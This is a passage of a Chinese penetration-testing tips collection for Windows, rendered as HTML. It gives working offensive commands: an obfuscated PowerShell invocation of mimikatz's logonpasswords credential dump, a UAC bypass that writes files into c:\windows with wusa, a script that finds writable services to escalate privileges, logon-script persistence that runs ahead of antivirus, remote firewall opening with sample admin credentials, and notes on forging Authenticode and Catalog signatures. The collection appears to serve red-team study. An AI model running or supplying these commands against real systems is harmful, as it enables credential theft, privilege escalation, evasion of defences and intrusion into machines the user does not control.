    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;设置要混淆的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;encoding&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;1&lt;/code&gt;，指定编码为ascii&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;得到混淆后的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;" $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE  'oFS'  ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_84" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 37 python脚本转exe&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常见的两种方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用py2exe

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用PyInstaller

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用方法和常见bug解决方法可参照参考链接&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_85" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 38 普通用户权限向管理员权限的路径下写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以普通用户权限向&lt;code&gt;c:\windows&lt;/code&gt;文件夹下释放文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7、Win8，学习自：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_86" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 39 在远程系统上执行程序的方法汇总&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;at

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;psexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;WMIC

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;wmiexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;smbexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;powershell remoting

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;新方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;DCOM
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_87" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 40 寻找Windows系统中可被利用的服务&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;枚举Windows系统服务对应可执行文件的路径，如果路径包含普通用户的写权限，那么该服务可被用来提升权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell代码:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
     If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
        If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
            If($a.Owner -ne "BUILTIN\Administrators"){                
                Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
                Write-host Owner: $a.Owner
            }    
        }
    }
}
Write-host [+] All done.&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-powershell-to-find-a-writable-windows-service/"&gt;《Use powershell to find a writable windows service》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_88" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows系统支持Logon Scripts，Logon Scripts是在系统启动时执行，执行顺序要优先于杀毒软件，当然，杀毒软件无法拦截Logon Scripts中脚本的操作（杀毒软件尚未启动）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;关键在于杀毒软件会不会拦截Logon Scripts的配置使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用特殊操作添加Logon Scripts，杀毒软件不会拦截&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以上提到的杀毒软件是指“部分”杀毒软件，并不通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/"&gt;《Use Logon Scripts to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_89" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 42 编译c#程序注意事项&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目名要同namespace指定的名称对应，如果不对应，可在项目-属性-程序集名称中修改，否则生成的dll无法使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用csc.exe:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;保存为TestDotNet.cs，直接使用csc.exe生成就好：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果保存为a.cs，那么需要加/out参数指定输出文件为TestDotNet.dll，这样程序集名称也默认为TestDotNet（同源代码对应），否则，dll虽然能够被加载，但无法执行，参数如下：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs&lt;/code&gt;
&lt;hr&gt;
&lt;h3 id="toc_90" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 43 使用net use远程连接的端口问题&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用net use远程连接，目标如果开启了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标同时开放139和445端口，系统优先使用445端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，可使用139端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;目标如果禁用了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，无法连接
&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;
&lt;h3 id="toc_91" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 44 获得TrustedInstaller权限&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;SelectMyParent

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;Invoke-TokenManipulation.ps1

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;incognito

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/"&gt;渗透技巧——Token窃取与利用&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_92" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 45 3389远程连接&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_93" class="h16"&gt;&lt;span class="span_for_h"&gt;1、查询系统是否允许3389远程连接：&lt;/span&gt;&lt;/h4&gt;
&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1表示关闭，0表示开启&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看远程连接的端口：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber&lt;/code&gt;&lt;h4 id="toc_94" class="h16"&gt;&lt;span class="span_for_h"&gt;2、本机开启3389远程连接的方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1：通过cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2：通过reg文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;内容如下：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导入注册表：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;regedit /s a.reg&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改连接端口重启后生效&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;补充&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统未配置过远程桌面服务，第一次开启时还需要添加防火墙规则，允许3389端口，命令如下:&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow&lt;/code&gt;&lt;h4 id="toc_95" class="h16"&gt;&lt;span class="span_for_h"&gt;3、远程连接方法&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;kali使用3389远程连接：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;rdesktop 192.168.1.1:3389&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;mstsc.exe&lt;/code&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;非服务器版本的Windows系统，默认只允许一个账户登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;具体表现为：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程登录时，使用与原系统相同的账户，原系统将被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用不同的账户，原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;解决方法:&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用mimikatz.exe,执行&lt;code&gt;ts::multirdp&lt;/code&gt;允许多用户远程登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，使用与原系统相同的账户，原系统还是会被切换到登录界面&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;该方法在系统重启后失效，下次使用需要重新执行命令&lt;code&gt;ts::multirdp&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;也可通过修改文件termsrv.dll实现永久修改&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/"&gt;《渗透技巧——Windows系统远程桌面的多用户登录》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_96" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 46 使用netsh修改远程系统的防火墙规则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;远程系统需要&lt;code&gt;允许Windows防火墙远程管理&lt;/code&gt;,开启命令如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;netsh advfirewall set currentprofile settings remotemanagement enable&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_97" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 47 劫持UAC&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当弹出UAC提示框的时候，执行任意代码,可通过修改注册表劫持签名验证的功能，插入payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_98" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 48 PE文件的Authenticode签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表，能够给PE文件添加微软证书&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-PE%E6%96%87%E4%BB%B6%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0%E4%B8%8E%E7%AD%BE%E5%90%8D%E9%AA%8C%E8%AF%81%E5%8A%AB%E6%8C%81/"&gt;《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Authenticode%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-%E9%92%88%E5%AF%B9%E6%96%87%E4%BB%B6%E7%B1%BB%E5%9E%8B%E7%9A%84%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0/"&gt;《Authenticode签名伪造——针对文件类型的签名伪造》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_99" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 49 PE文件的Catalog签名伪造&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;构造Long UNC文件名，实现文件名欺骗，获得Catalog签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Catalog%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-Long-UNC%E6%96%87%E4%BB%B6%E5%90%8D%E6%AC%BA%E9%AA%97/"&gt;《Catalog签名伪造——Long UNC文件名欺骗》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_100" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 50 mklink&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;用于创建符号链接，可理解为快捷方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;创建目录c:\test\1，指向c:\temp，可使用以下操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1) 使用/D参数命令创建一个链接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /D &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2) 使用/J参数命令创建一个联接：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mklink /J &amp;quot;c:\test\1&amp;quot; &amp;quot;c:\Temp&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;差异：&lt;/span&gt;
&lt;/p&gt;


